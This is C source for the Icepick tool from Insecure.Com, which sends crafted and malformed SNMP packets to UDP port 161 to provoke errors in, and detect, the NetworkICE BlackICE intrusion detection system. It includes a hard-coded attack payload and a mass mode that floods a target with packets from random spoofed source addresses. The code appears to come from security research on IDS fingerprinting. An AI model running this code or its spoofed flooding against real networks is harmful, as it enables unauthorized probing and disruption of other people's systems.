/***********************************************************************/
/* icepick.c --                                                        */
/*                                                                     */
/***********************************************************************/
/*  The Icepick scanner is (C) 2001 Insecure.Com LLC. This             */
/*  program is free software; you can redistribute it and/or modify    */
/*  it under the terms of the GNU General Public License as published  */
/*  by the Free Software Foundation; Version 2.  This guarantees your  */
/*  right to use, modify, and redistribute this software under certain */
/*  conditions.  If this license is unacceptable to you, we may be     */
/*  willing to sell alternative licenses (contact sales@insecure.com). */
/*                                                                     */
/*  If you received these files with a written license agreement       */
/*  stating terms other than the (GPL) terms above, then that          */
/*  alternative license agreement takes precendence over this comment. */
/*                                                                     */
/*  Source is provided to this software because we believe users have  */
/*  a right to know exactly what a program is going to do before they  */
/*  run it.  This also allows you to audit the software for security   */
/*  holes (none have been found so far).                               */
/*                                                                     */
/*  Source code also allows you to port Icepick to new platforms, fix  */
/*  bugs, and add new features.  You are highly encouraged to send     */
/*  your changes to fyodor@insecure.org for possible incorporation     */
/*  into the main distribution.  By sending these changes to Fyodor or */
/*  one the insecure.org development mailing lists, it is assumed that */
/*  you are offering Fyodor the unlimited, non-exclusive right to      */
/*  reuse, modify, and relicense the code.  This is important because  */
/*  the inability to relicense code has caused devastating problems    */
/*  for other Free Software projects (such as KDE and NASM).  Nmap     */
/*  will always be available Open Source.  If you wish to specify      */
/*  special license conditions of your contributions, just say so      */
/*  when you send them.                                                */
/*                                                                     */
/*  This program is distributed in the hope that it will be useful,    */
/*  but WITHOUT ANY WARRANTY; without even the implied warranty of     */
/*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  */
/*  General Public License for more details (                          */
/*  http://www.gnu.org/copyleft/gpl.html ).                            */
/*                                                                     */
/***********************************************************************/

/* $Id: nmap.c,v 1.199 2001/03/27 03:07:56 fyodor Exp $ */

/* Usage: icepick [-s sourceaddress] target */

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>

#include "config.h"
#include "nbase_config.h"

#include "tcpip.h"

extern char *optarg;
extern int optind, opterr, optopt;

int debugging;

void usage() {
  error("Usage: icepick [-s source address] [-e sourcedev] [-d debuglevel] [-r (ms between attacks)] [-x] [-z] [-c count] target\n\n");
  exit(0);
}

char attack[] = "\x30\x82\x00\x3f\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xa3\x82\x00\x2f\x02\x04\x2e\x2f\x9a\xb3\x02\x01\x00\x02\x01\x00\x30\x82\x00\x1f\x30\x82\x00\x1b\x06\x0c\x2b\x06\x01\x04\x01\x2a\x02\x0f\x08\x01\x07\x02\x04\x0b\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64";

int main(int argc, char *argv[]) {
  int opt;
  struct in_addr sourceip;
  struct in_addr target;
  struct ip *ip;
  int source_set = 0;
  int attacklen = sizeof(attack) - 1;
  char *device = NULL;
  int rawsd = -1;
  int timedout = 0;
  struct timeval now, end;
  pcap_t *pd;
  int bytes;
  int massattack = 0;
  int massattackms = 0;
  int massattackcount = 100;
  int round=0;
  int sendcorrupttoo = 0;
  int exitearly = 0;
  sourceip.s_addr = 0;
  debugging = 0;

  if (argc < 2) {
    usage();
  }

  while ((opt = getopt(argc, argv, "c:d:e:r:s:xz")) != -1) {
    switch(opt) {
    case 'c':
      massattackcount = atoi(optarg);
      break;
    case 'd':
      debugging = atoi(optarg);
      break;
    case 'e':
      device = optarg;
      break;
    case 'r':
      massattack = 1;
      massattackms = atoi(optarg);
      break;
    case 's':
      if (resolve(optarg, &sourceip) == 0) {      
	error("Unable to resolve host/ip: %s", optarg);
	usage();
      }
      source_set = 1;
      break;
    case 'x':
      exitearly = 1;
      break;
    case 'z':
      sendcorrupttoo = 1;
      break;
    case '?':
    default:
      error("Invalid arguments");
      usage();
      break;
    }
  }

  /* Waiter -- one raw socket please! */
  if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
    pfatal("socket troubles in pos_scan");
  /* We do not wan't to unblock the socket since we want to wait 
     if kernel send buffers fill up rather than get ENOBUF, and
     we won't be receiving on the socket anyway 
     unblock_socket(rawsd);*/
  
  broadcast_socket(rawsd);


  if (optind != argc - 1) {
    error("Only one target may be specified");
    usage();
  }
    
  if (resolve(argv[optind], &target) == 0) {
    fatal("Unable to resolve hostname/ip: %s", argv[optind]);
  }

  if (!device)
    device = routethrough(&target, (source_set)? NULL : &sourceip);
  else if (!source_set)
    routethrough(&target, &sourceip);


  if (!device) {
    fatal("Unable to determine the correct interface to route through for destination %s", argv[optind]);
  }

  /* Set up my pcap filter to catch any replies */
  if (!massattack) {  
  pd = my_pcap_open_live(device, 100,  1, 1000);
    
  set_pcap_filter(&target, device, pd, "udp and dst port 137");
  }
    /* Send the attack packet */

    /* This actually is enough to do it -- delivers "Serious" SNMP
     * corrupt error -- but we are more insterested in causing a
     * "critical" error even though this caused a return probe from
     * default BlackICE 
     * if (send_udp_raw( rawsd, &sourceip, &target, 666, 161, 
     *		      "Hello World", 11) == -1) {
     * fatal("Failed to send \"attack\" packet to %s", argv[optind]);
     * } */
  
  if (!massattack) massattackcount = 1;
  for(round = 0; round < massattackcount; round++) {  
    if (massattack) {
      sourceip.s_addr = get_random_uint();
    }
    if (send_udp_raw( rawsd, &sourceip, &target, 666, 161, 
		      attack, attacklen) == -1) {
      fatal("Failed to send \"attack\" packet to %s", argv[optind]);
    }
    if (sendcorrupttoo) {
    if (send_udp_raw( rawsd, &sourceip, &target, 667, 161, 
		      "Hello World", 11) == -1) {
      fatal("Failed to send \"corrupt snmp attack\" packet to %s", argv[optind]);
    }
    }
    if (massattack && massattackms > 0) {
      usleep(massattackms * 1000);
    }
  }

  if (exitearly || massattack)
    return 0; /* massattack mode does not collect replies */

  gettimeofday(&now, NULL);

  while (!timedout) {
    ip = (struct ip*) readip_pcap(pd, &bytes, 500000);
    if (ip && bytes == 78) {
      if (ip->ip_dst.s_addr == sourceip.s_addr) {
	if (strncmp(((char *)ip) + 40, " CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 33) == 0) {
	  printf("\nNetworkICE BlackICE IDS Engine Detected on %s!\n", inet_ntoa(ip->ip_src));
	  break;
	}
      }
      /*      printf("GOT A PACKET!!! -- %d bytes\n", bytes);
	      readudppacket((unsigned char *)ip,ip->ip_len); */
    }
    gettimeofday(&end, NULL);
    if (TIMEVAL_SUBTRACT(end, now) > 4000000)
      timedout = 1;
  }

  return 0;
}
